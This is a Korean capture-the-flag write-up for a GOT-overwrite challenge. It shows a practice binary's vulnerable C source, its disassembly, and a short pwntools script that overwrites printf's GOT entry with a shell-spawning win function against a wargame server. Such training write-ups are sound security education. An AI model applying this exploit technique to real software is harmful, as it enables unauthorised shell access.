[sschall] baby got overwrite
baby got overwirte 문제 풀이
1. 취약점 확인
1. C언어
먼저 checksec 명령어로 취약점을 확인해보자
[*] '/home/gunp4ng/pwnable/got_overwrite/baby_got_overwrite/baby_got_overwrite'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
x64 아키텍처에 Stack Canary, NX-bit, Partial RELRO 가 적용된 것을 확인할 수 있다.
이제 C 코드를 확인해보자
// gcc got_overwrite.c -o got_overwrite -O0 -no-pie
#include <stdio.h>
#include <stdlib.h>
void initialize(){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void win(){
system("/bin/sh");
}
int main(){
unsigned long long addr = 0;
initialize();
printf("Addr : ");
scanf("%lld", &addr);
printf("Value : ");
scanf("%lld", (void *)addr);
printf("bye bye~");
return 0;
}
addr 에 주소값을 입력받는다.
그 다음 입력받은 값을 위에서 입력받은 주소값(addr) 에 저장한다.
(void *)addr 은 addr 값을 포이넡로 변환하여, 해당 메모리 주소를 가리키는 포인터가 된다.
void win(){
system("/bin/sh");
}
win 함수에 셸을 실행할 수 있는 system("/bin/sh") 가 있다.
GOT_Overwrite 를 이용해
printf 함수의 GOT 를 addr 에 입력하고
win 함수의 주소를 덮어씌우면 system 함수가 실행되어 셸을 얻을 수 있을 것이다.
2. 어셈블리 확인
1. gdb
먼저 main 함수를 살펴보자
Dump of assembler code for function main:
0x0000000000401214 <+0>: endbr64
0x0000000000401218 <+4>: push rbp
0x0000000000401219 <+5>: mov rbp,rsp
0x000000000040121c <+8>: sub rsp,0x10
0x0000000000401220 <+12>: mov rax,QWORD PTR fs:0x28
0x0000000000401229 <+21>: mov QWORD PTR [rbp-0x8],rax
0x000000000040122d <+25>: xor eax,eax
0x000000000040122f <+27>: mov QWORD PTR [rbp-0x10],0x0
0x0000000000401237 <+35>: mov eax,0x0
0x000000000040123c <+40>: call 0x4011b6 <initialize>
0x0000000000401241 <+45>: lea rdi,[rip+0xdc4] # 0x40200c
0x0000000000401248 <+52>: mov eax,0x0
0x000000000040124d <+57>: call 0x4010a0 <printf@plt>
0x0000000000401252 <+62>: lea rax,[rbp-0x10]
0x0000000000401256 <+66>: mov rsi,rax
0x0000000000401259 <+69>: lea rdi,[rip+0xdb4] # 0x402014
0x0000000000401260 <+76>: mov eax,0x0
0x0000000000401265 <+81>: call 0x4010c0 <__isoc99_scanf@plt>
0x000000000040126a <+86>: lea rdi,[rip+0xda8] # 0x402019
0x0000000000401271 <+93>: mov eax,0x0
0x0000000000401276 <+98>: call 0x4010a0 <printf@plt>
0x000000000040127b <+103>: mov rax,QWORD PTR [rbp-0x10]
0x000000000040127f <+107>: mov rsi,rax
0x0000000000401282 <+110>: lea rdi,[rip+0xd8b] # 0x402014
0x0000000000401289 <+117>: mov eax,0x0
0x000000000040128e <+122>: call 0x4010c0 <__isoc99_scanf@plt>
0x0000000000401293 <+127>: lea rdi,[rip+0xd88] # 0x402022
0x000000000040129a <+134>: mov eax,0x0
0x000000000040129f <+139>: call 0x4010a0 <printf@plt>
0x00000000004012a4 <+144>: mov eax,0x0
0x00000000004012a9 <+149>: mov rdx,QWORD PTR [rbp-0x8]
0x00000000004012ad <+153>: sub rdx,QWORD PTR fs:0x28
0x00000000004012b6 <+162>: je 0x4012bd <main+169>
0x00000000004012b8 <+164>: call 0x401080 <__stack_chk_fail@plt>
0x00000000004012bd <+169>: leave
0x00000000004012be <+170>: ret
End of assembler dump.
printf 함수의 주소는 0x4010a0 인 것을 확인할 수 있다.
printf 함수의 GOT 는 0x404028 인 것을 확인할 수 있다.
win 함수의 주소는 0x4011fd 인 것을 확인할 수 있다.
아까 위에서 본 C 코드를 확인해보면
scanf 함수에서 자료형을 lld 정수형으로 받고 있다.
따라서 16진수의 값을 10진수로 바꿔줘야 한다.
3. Payload
1. Payload
페이로드 코드를 살펴보자
from pwn import *
context.log_level = 'error'
context(arch='amd64', os='linux')
p = remote('war.sschall.xyz', 33032)
p.recvuntil(b'Addr : ')
p.sendline(str(int(0x404028)))
p.recvuntil('Value : ')
p.sendline(str(int(0x4011fd)))
p.interactive()
위에서 찾은 printf 의 GOT 0x404028 값을 10진수 정수형으로 변환한다.
그 다음 문자형으로 바꾸어 scanf 함수에 입력한다.
win 함수의 주소도 마찬가지로 똑같이 바꿔 scanf 함수에 입력한다.
scanf 에 10진수로 변환하여 입력하지만 16진수 주소 값으로 바뀌는 이유는
scanf("%lld", (void *)addr);
C 코드의 이 부분에서 addr 값을 포인터로 변환하여, 해당 메모리 주소를 가리키는 포인터가 되기 때문이다.
0x404028 값을 예로 들면,
addr 에 0x404028 의 10진수 값인 4210856이 저장된다.
그 다음 addr 이 포인터로 변환되어 0x404028 의 주소를 가리키게 된다.
실행을 해보면 플래그를 획득할 수 있다.